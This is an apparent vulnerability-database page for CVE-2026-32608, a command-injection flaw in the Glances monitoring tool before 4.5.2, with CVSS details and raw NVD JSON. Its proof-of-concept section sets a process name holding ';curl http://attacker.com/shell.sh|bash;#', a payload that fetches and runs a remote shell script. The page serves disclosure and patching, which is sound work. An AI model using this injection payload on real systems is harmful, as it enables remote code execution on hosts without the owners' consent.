Security Vulnerability Report
中文
CVE-2026-32608 CVSS 7.0 HIGH

CVE-2026-32608

Published: 2026-03-18 07:16:21
Last Modified: 2026-03-18 18:27:44

Description

Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:* - VULNERABLE
Glances < 4.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-32608 PoC - Process Name Command Injection # This PoC demonstrates how a malicious process name can inject commands # Step 1: Create a process with shell metacharacters in the name # In a real attack, this could be done by: # - Creating a container with a crafted name # - Renaming a running process # - Creating a file with special characters in its path # Example: Create a fake process entry that will trigger the action # The process name contains: ;touch /tmp/pwned; # When rendered in Mustache template like: /path/to/{{name}} # It becomes: /path/to/;touch /tmp/pwned; # Which gets split and executed as separate commands # Simulated PoC - Process name with command injection payload MALICIOUS_NAME=";curl http://attacker.com/shell.sh|bash;#" echo "Malicious process name: $MALICIOUS_NAME" # Step 2: Wait for Glances monitoring to trigger the action # The action command might be something like: # ACTION_CMD="alert.sh --process {{name}}" # After Mustache rendering: alert.sh --process ;curl http://attacker.com/shell.sh|bash;# # secure_popen() splits this into multiple commands # Step 3: Verify command injection # The injected command (curl http://attacker.com/shell.sh|bash) will be executed

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32608", "sourceIdentifier": "[email protected]", "published": "2026-03-18T07:16:21.447", "lastModified": "2026-03-18T18:27:43.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue."}, {"lang": "es", "value": "Glances es una herramienta de monitoreo de sistema multiplataforma de código abierto. El sistema de acciones de Glances permite a los administradores configurar comandos de shell que se ejecutan cuando se superan los umbrales de monitoreo. Estos comandos admiten variables de plantilla Mustache (por ejemplo, `{{name}}`, `{{key}}`) que se rellenan con datos de monitoreo en tiempo de ejecución. La función `secure_popen()`, que ejecuta estos comandos, implementa su propio manejo de operadores de tubería (pipe), redirección y encadenamiento dividiendo la cadena de comando antes de pasar cada segmento a `subprocess.Popen(shell=False)`. Antes de la versión 4.5.2, cuando un valor renderizado por Mustache (como un nombre de proceso, un punto de montaje del sistema de archivos o un nombre de contenedor) contiene metacaracteres de tubería (pipe), redirección o encadenamiento, el comando renderizado se divide de formas no intencionadas, permitiendo a un atacante que controla un nombre de proceso o un nombre de contenedor inyectar comandos arbitrarios. La versión 4.5.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.2", "matchCriteriaId": "3FC19E01-80F1-43BB-912C-39FE99143A59"}]}]}], "references": [{"url": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}